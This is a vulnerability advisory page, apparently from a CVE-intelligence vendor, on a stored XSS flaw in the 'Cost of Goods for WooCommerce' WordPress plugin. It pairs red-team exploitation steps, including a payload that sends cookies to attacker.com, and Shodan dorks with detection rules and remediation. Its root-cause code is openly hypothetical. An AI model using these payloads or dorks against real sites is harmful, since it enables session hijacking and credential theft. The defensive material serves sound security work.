☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpfactory logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48240

CVE-2025-48240 Cross-Site Scripting in Wpfactory
📅 PUBLISHED: 2025-05-19 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48240 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Cost of Goods for WooCommerce" by WPFactory, affecting versions up to and including 3.7.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into the plugin's web pages. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As a WordPress plugin issue, the attack surface is limited to WordPress installations with this plugin active, and exploitation requires a valid user account with at least contributor permissions.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums with the repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires authenticated user with contributor role
  • User Interaction: Required (UI:R) – victim must visit the affected page
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS means the payload persists and can affect multiple users.

Deep Dive & Mechanics

The vulnerability exists in the cost-of-goods-for-woocommerce plugin, specifically in how it handles and displays product cost data. The plugin likely stores user-supplied input (e.g., product cost fields) without proper sanitization or output encoding. When this data is later rendered in the WordPress admin panel or frontend, the injected script executes.

Root Cause: The plugin uses functions like echo or _e() without escaping, or uses wp_kses() with overly permissive allowed HTML tags. The input is stored in the WordPress database (e.g., wp_postmeta table) and retrieved without proper context-aware escaping.

Attack Flow:

  1. Attacker logs in with contributor-level access.
  2. Attacker creates or edits a product and injects a malicious payload into a cost-related field (e.g., Cost of Goods meta field).
  3. The payload is stored in the database.
  4. An administrator or other user views the product edit page or a report that displays the cost data.
  5. The payload executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

// In a template or admin page
echo get_post_meta($product_id, '_cost_of_goods', true);

Patched Code (recommended):

// Use WordPress escaping functions
echo esc_html(get_post_meta($product_id, '_cost_of_goods', true));

The vulnerable code directly outputs the stored value without escaping, allowing HTML/JavaScript injection. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with "Cost of Goods for WooCommerce" plugin version <= 3.7.0
  • Valid user account with contributor role or higher
  • Access to product edit page

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to Products > Add New or edit an existing product.
  3. In the "Cost of Goods" meta box, inject the following payload into the cost field:
    <script>alert('XSS')</script>
    
  4. Save the product.
  5. Wait for an administrator to view the product edit page or a report containing the cost data.
  6. The script executes, demonstrating the XSS.

Advanced Payload (session hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

  • Monitor for unusual product edits by low-privileged users.
  • Look for script tags or event handlers in product meta fields.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hunting:

  • Query the database for stored XSS payloads:
    SELECT * FROM wp_postmeta WHERE meta_key = '_cost_of_goods' AND meta_value LIKE '%<script%';
    
  • Review server logs for requests containing <script> or onerror= in POST data.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Modified plugin files (check file integrity via checksums)
    • Suspicious entries in wp_postmeta table with meta_key = '_cost_of_goods' containing HTML/JavaScript
  • Network Indicators:

    • Outbound connections to attacker-controlled domains from WordPress admin pages
    • HTTP requests containing encoded XSS payloads in POST data
  • Behavioral Indicators:

    • Unexpected product edits by contributor-level users
    • Administrator accounts performing actions without their knowledge

Detection Engineering

YARA Rule

rule detect_stored_xss_cost_of_goods {
    meta:
        description = "Detects stored XSS payloads in Cost of Goods for WooCommerce plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48240"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in Cost of Goods for WooCommerce
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in the Cost of Goods plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '_cost_of_goods'
        http.body|contains|all:
            - '<script'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in product descriptions (unlikely in cost field)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48240 Stored XSS in Cost of Goods for WooCommerce"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"_cost_of_goods"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Restrict user roles – only grant administrator access to trusted users.
  3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in product meta fields.

Long-Term Fix:

  • Apply output escaping using esc_html(), esc_attr(), or wp_kses_post() as appropriate.
  • Use WordPress's wp_unslash() and sanitize_text_field() on input.
  • Regularly update the plugin and monitor for official patches.

Workaround:

  • Add a custom function to sanitize the cost field:
    add_filter('update_post_metadata', function($check, $object_id, $meta_key, $meta_value) {
        if ($meta_key === '_cost_of_goods') {
            $meta_value = sanitize_text_field($meta_value);
        }
        return $check;
    }, 10, 4);
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"cost-of-goods-for-woocommerce"
http.html:"wp-content/plugins/cost-of-goods-for-woocommerce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48240/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.